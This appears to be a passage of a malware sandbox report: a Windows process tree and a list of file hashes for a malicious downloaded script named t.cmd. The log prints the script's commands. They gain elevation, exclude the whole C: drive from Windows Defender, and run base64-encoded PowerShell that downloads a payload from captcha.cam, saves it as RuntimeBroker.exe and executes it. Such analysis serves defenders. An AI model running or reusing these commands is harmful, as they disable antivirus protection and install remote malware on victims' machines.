                                                                                              PID:6272
                                                                                        • C:\Windows\System32\shutdown.exe
                                                                                          "C:\Windows\System32\shutdown.exe" /s /t 0
                                                                                          7⤵
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:2024
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\t.cmd" "
                                                                              1⤵
                                                                                PID:5056
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell -w h -command ""
                                                                                  2⤵
                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:5160
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell -Command "Start-Process -Verb RunAs -FilePath '"C:\Users\Admin\Downloads\t.cmd"' -ArgumentList 'am_admin'"
                                                                                  2⤵
                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                  • Modifies registry class
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:5292
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\Downloads\t.cmd" am_admin
                                                                                    3⤵
                                                                                      PID:5412
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        powershell -w h -command ""
                                                                                        4⤵
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:5464
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        powershell -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBjAG8AbQBtAGEAbgBkACAAIgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAIgBDADoAXAANAAoA
                                                                                        4⤵
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:5576
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath " C:\
                                                                                          5⤵
                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          PID:5684
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        powershell -enc cgBlAGcAIABhAGQAZAAgACIASABLAEwATQBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAIgAgAC8AdgAgAEMAOgBcAA==
                                                                                        4⤵
                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:5804
                                                                                        • C:\Windows\system32\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\
                                                                                          5⤵
                                                                                            PID:5916
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          powershell -enc JAB1AHIAbAA9ACIAaAB0AHQAcABzADoALwAvAGMAYQBwAHQAYwBoAGEALgBjAGEAbQAvAGYAaQBsAGUALgBiADYANAAiADsAJABiADYANABGAGkAbABlAD0AIgAkAGUAbgB2ADoAVABlAG0AcABcAGYAaQBsAGUALgBiADYANAAiADsAJABlAHgAZQBGAGkAbABlAD0AIgAkAGUAbgB2ADoAVABlAG0AcABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGIANgA0AEYAaQBsAGUAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAZQB4AGUARgBpAGwAZQAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAGIANgA0AEYAaQBsAGUAIAAtAFIAYQB3ACkAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQB4AGUARgBpAGwAZQA=
                                                                                          4⤵
                                                                                            PID:2000
                                                                                    • C:\Windows\System32\rundll32.exe
                                                                                      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                      1⤵
                                                                                        PID:6084
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\t.cmd" "
                                                                                        1⤵
                                                                                          PID:6112
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            powershell -w h -command ""
                                                                                            2⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:5156
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            powershell -Command "Start-Process -Verb RunAs -FilePath '"C:\Users\Admin\Downloads\t.cmd"' -ArgumentList 'am_admin'"
                                                                                            2⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Modifies registry class
                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:5160
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\Downloads\t.cmd" am_admin
                                                                                              3⤵
                                                                                                PID:5348
                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  powershell -w h -command ""
                                                                                                  4⤵
                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:5452
                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  powershell -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBjAG8AbQBtAGEAbgBkACAAIgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAIgBDADoAXAANAAoA
                                                                                                  4⤵
                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:5484
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath " C:\
                                                                                                    5⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:5764
                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  powershell -enc cgBlAGcAIABhAGQAZAAgACIASABLAEwATQBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAEUAeABjAGwAdQBzAGkAbwBuAHMAXABQAGEAdABoAHMAIgAgAC8AdgAgAEMAOgBcAA==
                                                                                                  4⤵
                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:5596
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\
                                                                                                    5⤵
                                                                                                      PID:5848
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell -enc JAB1AHIAbAA9ACIAaAB0AHQAcABzADoALwAvAGMAYQBwAHQAYwBoAGEALgBjAGEAbQAvAGYAaQBsAGUALgBiADYANAAiADsAJABiADYANABGAGkAbABlAD0AIgAkAGUAbgB2ADoAVABlAG0AcABcAGYAaQBsAGUALgBiADYANAAiADsAJABlAHgAZQBGAGkAbABlAD0AIgAkAGUAbgB2ADoAVABlAG0AcABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGIANgA0AEYAaQBsAGUAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAZQB4AGUARgBpAGwAZQAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAGIANgA0AEYAaQBsAGUAIAAtAFIAYQB3ACkAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQB4AGUARgBpAGwAZQA=
                                                                                                    4⤵
                                                                                                      PID:6448
                                                                                              • C:\Windows\System32\NOTEPAD.EXE
                                                                                                "C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Downloads\t.cmd
                                                                                                1⤵
                                                                                                • Opens file in notepad (likely ransom note)
                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                PID:6040
                                                                                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                                                1⤵
                                                                                                  PID:3272
                                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                                                    2⤵
                                                                                                    • Checks processor information in registry
                                                                                                    • Modifies registry class
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    • Suspicious use of FindShellTrayWindow
                                                                                                    • Suspicious use of SendNotifyMessage
                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                    PID:4728
                                                                                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1956 -parentBuildID 20240401114208 -prefsHandle 1872 -prefMapHandle 1864 -prefsLen 28629 -prefMapSize 245025 -appDir "C:\Program Files\Mozilla Firefox\browser" - {bd218299-0106-4c0b-9e23-e84686d3edfe} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" gpu
                                                                                                      3⤵
                                                                                                        PID:5332
                                                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20240401114208 -prefsHandle 2284 -prefMapHandle 2280 -prefsLen 28629 -prefMapSize 245025 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e47f5447-fb80-4e6b-8ec6-02ad96a13eaa} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" socket
                                                                                                        3⤵
                                                                                                          PID:6432
                                                                                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3292 -childID 1 -isForBrowser -prefsHandle 3228 -prefMapHandle 2664 -prefsLen 29128 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5ece350f-ec2f-4769-8329-ca49d7493267} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab
                                                                                                          3⤵
                                                                                                            PID:2972
                                                                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3648 -childID 2 -isForBrowser -prefsHandle 3640 -prefMapHandle 2496 -prefsLen 34361 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3a811626-daf5-4b67-83e5-4b95ec96978f} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab
                                                                                                            3⤵
                                                                                                              PID:6972
                                                                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4292 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4328 -prefMapHandle 4300 -prefsLen 34361 -prefMapSize 245025 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6472a4ec-8eeb-4d9a-bffe-94147f2d3ce2} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" utility
                                                                                                              3⤵
                                                                                                              • Checks processor information in registry
                                                                                                              PID:6552
                                                                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5012 -childID 3 -isForBrowser -prefsHandle 5024 -prefMapHandle 5040 -prefsLen 27828 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d5da37d9-7f60-4366-9b1b-65fb9948857e} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab
                                                                                                              3⤵
                                                                                                                PID:1348
                                                                                                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5132 -childID 4 -isForBrowser -prefsHandle 5272 -prefMapHandle 5276 -prefsLen 27828 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {aa68481a-c8ad-4c8a-a19c-802abf7e32a1} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab
                                                                                                                3⤵
                                                                                                                  PID:3252
                                                                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5440 -childID 5 -isForBrowser -prefsHandle 5448 -prefMapHandle 5452 -prefsLen 27828 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e585539f-ba88-4471-b822-c3469483e0f4} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab
                                                                                                                  3⤵
                                                                                                                    PID:388
                                                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4132 -childID 6 -isForBrowser -prefsHandle 5068 -prefMapHandle 5060 -prefsLen 28072 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c6c0af1c-eb27-45f2-bc0b-b8aefbc2f0e4} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab
                                                                                                                    3⤵
                                                                                                                      PID:6592
                                                                                                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5636 -childID 7 -isForBrowser -prefsHandle 5492 -prefMapHandle 5704 -prefsLen 28072 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d01e99d1-b6ce-4135-86f2-f4595cb38b09} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab
                                                                                                                      3⤵
                                                                                                                        PID:3880
                                                                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6184 -childID 8 -isForBrowser -prefsHandle 6220 -prefMapHandle 6216 -prefsLen 28072 -prefMapSize 245025 -jsInitHandle 1160 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e52b28fe-3904-4d08-a319-e7f4d3017401} 4728 "\\.\pipe\gecko-crash-server-pipe.4728" tab
                                                                                                                        3⤵
                                                                                                                          PID:5776
                                                                                                                    • C:\Windows\system32\LogonUI.exe
                                                                                                                      "LogonUI.exe" /flags:0x4 /state0:0xa38b6055 /state1:0x41c64e6d
                                                                                                                      1⤵
                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                      PID:2216

                                                                                                                    Network

                                                                                                                    MITRE ATT&CK Enterprise v15

                                                                                                                    Replay Monitor

                                                                                                                    Loading Replay Monitor...

                                                                                                                    Downloads

                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\RuntimeBroker.exe.log

                                                                                                                      Filesize

                                                                                                                      1KB

                                                                                                                      MD5

                                                                                                                      baf55b95da4a601229647f25dad12878

                                                                                                                      SHA1

                                                                                                                      abc16954ebfd213733c4493fc1910164d825cac8

                                                                                                                      SHA256

                                                                                                                      ee954c5d8156fd8890e582c716e5758ed9b33721258f10e758bdc31ccbcb1924

                                                                                                                      SHA512

                                                                                                                      24f502fedb1a305d0d7b08857ffc1db9b2359ff34e06d5748ecc84e35c985f29a20d9f0a533bea32d234ab37097ec0481620c63b14ac89b280e75e14d19fd545

                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                      Filesize

                                                                                                                      2KB

                                                                                                                      MD5

                                                                                                                      d85ba6ff808d9e5444a4b369f5bc2730

                                                                                                                      SHA1

                                                                                                                      31aa9d96590fff6981b315e0b391b575e4c0804a

                                                                                                                      SHA256

                                                                                                                      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                                                                                                                      SHA512

                                                                                                                      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                      Filesize

                                                                                                                      64B

                                                                                                                      MD5

                                                                                                                      d8b9a260789a22d72263ef3bb119108c

                                                                                                                      SHA1

                                                                                                                      376a9bd48726f422679f2cd65003442c0b6f6dd5

                                                                                                                      SHA256

                                                                                                                      d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

                                                                                                                      SHA512

                                                                                                                      550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                      Filesize

                                                                                                                      64B

                                                                                                                      MD5

                                                                                                                      446dd1cf97eaba21cf14d03aebc79f27

                                                                                                                      SHA1

                                                                                                                      36e4cc7367e0c7b40f4a8ace272941ea46373799

                                                                                                                      SHA256

                                                                                                                      a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

                                                                                                                      SHA512

                                                                                                                      a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                      Filesize

                                                                                                                      1KB

                                                                                                                      MD5

                                                                                                                      049b6e9e5ae574090e37ec4f9cf48812

                                                                                                                      SHA1

                                                                                                                      8a84e30d1c55db18e6310ca185f14b8eeafa28fd

                                                                                                                      SHA256

                                                                                                                      3c8e60a138d954ca2ad15a5dab6ce592410983e0134b875a74c8041b3a575fd1

                                                                                                                      SHA512

                                                                                                                      fe854104d8b936c925a1a6b0b19ba3c5a0adebf9aa568cacc225dce64697bc3fd0a97e11cc065b5c48e27f195c22d8b4cc8221e16ac1ab7d8040d286540bb7b1

                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                      Filesize

                                                                                                                      64B

                                                                                                                      MD5

                                                                                                                      b16dc67d8633fb86f9d9dc491097150e

                                                                                                                      SHA1

                                                                                                                      0ea564df2675c5e2a82449530dd070ad855dfcd6

                                                                                                                      SHA256

                                                                                                                      378c51f20fe67c7ef650d594dca84dd39f8eaeb28876fe783bb3f98394bb494b

                                                                                                                      SHA512

                                                                                                                      c41852fc8c6728dce8aaa7d9104b39c9e9a6bdcc0354ff5e0d0bff3c055b9aebbb080111c90f6b70db28a1e81b8ca1e3cfec4f8a4f6e59a75188215c21788cdd

                                                                                                                    • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\activity-stream.discovery_stream.json

                                                                                                                      Filesize

                                                                                                                      28KB

                                                                                                                      MD5

                                                                                                                      0f3895cbb21902630fdae36ec4d6ac89

                                                                                                                      SHA1

                                                                                                                      6fc2f174e06e40e5b8e17c5b78a203917ba9ed30

                                                                                                                      SHA256

                                                                                                                      fab7b52f1ba3ed02279bc3b882cdda1b36cbc15948f78ec99ad270c4315808ec

                                                                                                                      SHA512

                                                                                                                      1886d0ca8462f6f9ab485119a7266896c192049060ff684a4e51d54d3abe53fa29b74065cf6ed08736cf2dd82ad17826c04787ea5f5840f8d294f4037d337f3e

                                                                                                                    • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\doomed\22865

                                                                                                                      Filesize

                                                                                                                      8KB

                                                                                                                      MD5

                                                                                                                      dff237acafd414dc4068ca36bd30f163

                                                                                                                      SHA1

                                                                                                                      3820597c1fd3cf33c1b2f594f07e48c5f01da7ef

                                                                                                                      SHA256

                                                                                                                      e8515fbb1627550d0ac08b516c82aceb3d4a9942b2998cb979bb16d1aaf9a100

                                                                                                                      SHA512

                                                                                                                      85af7664f51a3095059ba57936f2bdda29234e651214a4288ec6539ae6b04ec5c7ccc056ccc71715dfc531e518859afe48793c19a9c41ecfeb87ce448185949b

                                                                                                                    • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\1BD645F9A7410792A97ECB1BFB6D6DEA65390A16

                                                                                                                      Filesize

                                                                                                                      33KB

                                                                                                                      MD5

                                                                                                                      23ab7a91aa1027b0edda516998b74ac7

                                                                                                                      SHA1

                                                                                                                      76cf6938531ac160b7acdec695d744a50228e53e

                                                                                                                      SHA256

                                                                                                                      cd633c8536247fa8c85242107316a46d043ae9c746d0da1dfca3cca714e37d39

                                                                                                                      SHA512

                                                                                                                      a0054c9f1b657cf1e4d066d68b1979c953a18dabb2e5545ef1329890ae881f6c3c7edf83dd683670e991470ae8eac379f13586a059b65816da436fb4cf8c309a

                                                                                                                    • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\254256B27E0C48CF9B80B695F0B3B8CA84610495

                                                                                                                      Filesize

                                                                                                                      9KB

                                                                                                                      MD5

                                                                                                                      fd25089c3672f578e0ad6579173fa2f0

                                                                                                                      SHA1

                                                                                                                      115a171cd6d5f035113f172568278b30272d23b5

                                                                                                                      SHA256

                                                                                                                      503676d3ac6ee303342b1b3b36dc14e264f3c3d6e9f169ee09777f785307c330

                                                                                                                      SHA512

                                                                                                                      de211a935d2fd39c96a83d086ebdb525c4ce2b0a497fb7b325f21b34ee4d0284e33e3cb6aa7ef494955092dbddfb692de489f5bcaabf07b811fd7efd4dc2b8ec

                                                                                                                    • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\6D89348819C8881868053197CA0754F36784BF5F

                                                                                                                      Filesize

                                                                                                                      14KB

                                                                                                                      MD5

                                                                                                                      8c8c2461169a10bffe53d2f9e796da74

                                                                                                                      SHA1

                                                                                                                      2131b08d521d43bc75c2af93b576f58c16edd1a4

                                                                                                                      SHA256

                                                                                                                      2ddf269c5a9e73dfcca4bbf5c4e288a5f1c81cbc19514c2c2c147abe8df3bd27

                                                                                                                      SHA512

                                                                                                                      b3e82496d975a5873d08d2608ae6368198a20fcd1700cb8055ff808ae8166e7cb24711408c0c1a3ecb38688436299241cf3a9b022997452cec825d2db42996b1

                                                                                                                    • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\6E16A10E9554AC173377D0B97DF8A3660B591500

                                                                                                                      Filesize

                                                                                                                      140KB

                                                                                                                      MD5

                                                                                                                      2c2d701a63febcb4a741c56d2c56722b

                                                                                                                      SHA1

                                                                                                                      888a7f62e5bf4b9c2f729c5546d4e6b05e31302b

                                                                                                                      SHA256

                                                                                                                      f25676b77eb8ad3b3fbf1203433c8bf34da587805ab125d47f130c32f66a3c23

                                                                                                                      SHA512

                                                                                                                      cace3b16ee71b27176dcabd2b300c5dfacd7afa3c472380a1fde6d33d5a7b7558549ebf4c74752debaed4ed32fa0c3e7ffc8c48324a1c0183d3280feded26161

                                                                                                                    • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\791F0A4C58EE59100296C3B4EC96C5B9DA7EDE1D

                                                                                                                      Filesize

                                                                                                                      76KB

                                                                                                                      MD5

                                                                                                                      060d21ebe495c287547609de9a94c4d5

                                                                                                                      SHA1

                                                                                                                      1f6e9cee11287ae88dee42c6559a34a768ffbfd0

                                                                                                                      SHA256

                                                                                                                      7e9517f5d816b558d487c1db1ba7ab023bc66ba3578c02b12a71e44e941ba40c

                                                                                                                      SHA512

                                                                                                                      cd0ef716f3a293b9b45cd032d6b4077a2f5ac6cd5b5f4db21eebda16ae4f54d1b93670b010a6ab0a0b4db3d550b91ba282485322fabe13e74b67ce426312b0cb

                                                                                                                    • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\7E96FB901C1856DB6FF3BD9DDFB98D1A3F13D9E2

                                                                                                                      Filesize

                                                                                                                      207KB

                                                                                                                      MD5

                                                                                                                      6494b4c0017fc38b826a3db5410c8259

                                                                                                                      SHA1

                                                                                                                      9e1cad6f8e0d54cb006d1105ed17eb41b237ed7d

                                                                                                                      SHA256

                                                                                                                      298b0250112850b3a681722a33f9d8c50ccf09eb88fe29b8da0461b0e6e76959

                                                                                                                      SHA512

                                                                                                                      3aed8ca005a08c3538ab6654b5e59757c9a331531811f3cb63f0a26c78e64cb5c788dcf83f7ee6e3b96fc522fde9654f4555539e4fa36f39da93ba27c154ac05

                                                                                                                    • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\93C498937F9521B4FB2DB21E2CB76F96D6A6E93C

                                                                                                                      Filesize

                                                                                                                      509KB

                                                                                                                      MD5

                                                                                                                      b6199163142a3bb437095f5a42df2da5

                                                                                                                      SHA1

                                                                                                                      f6563f4092065ee54d95250cb12c4bcf19483b3a

                                                                                                                      SHA256

                                                                                                                      55c9a9ff632d8a8bb57e799f72535fb36e1d7e4a82079fe4f3b34c87d7ef8b21

                                                                                                                      SHA512

                                                                                                                      32412ead0541e9f84723c38e02147bc0740a941e9f2e365ca3a4ce8b61b1f1121123a06ecf0ff68e7d1b855d2f97319062061f1bab98e0d464b8bd0e9ca4d9e0

                                                                                                                    • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\B46B24A0C4F8C70C798E7240C485699BD434B795

                                                                                                                      Filesize

                                                                                                                      65KB

                                                                                                                      MD5

                                                                                                                      19b6b39f7c19ae532281a95e2f34164b

                                                                                                                      SHA1

                                                                                                                      e0c720478821eec7e50b1f90b5964a75a9aeebbb

                                                                                                                      SHA256

                                                                                                                      70b81c69fc86917f29fbfa5381a7504f59493a37a124cee7468c1050384e69a9

                                                                                                                      SHA512

                                                                                                                      b7e2e2ebe19e96729d93937474cbf1f7e84d466613adeae1e87014863ec4027e69db0c31d6d3e2d4da56d157d99bb7c5bd34044a07e918c9d79ddd67e566e04a

                                                                                                                    • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6ir3v68x.default-release\cache2\entries\FD07E0E96B39D8F0458BB9D7955741DE046167CC

                                                                                                                      Filesize

                                                                                                                      152KB

                                                                                                                      MD5

                                                                                                                      0256f06a4c5e09013c48c812b26644bc

                                                                                                                      SHA1

                                                                                                                      c575f5811b7a5f0fdbc6adc210f41ba2e296a5b4

                                                                                                                      SHA256

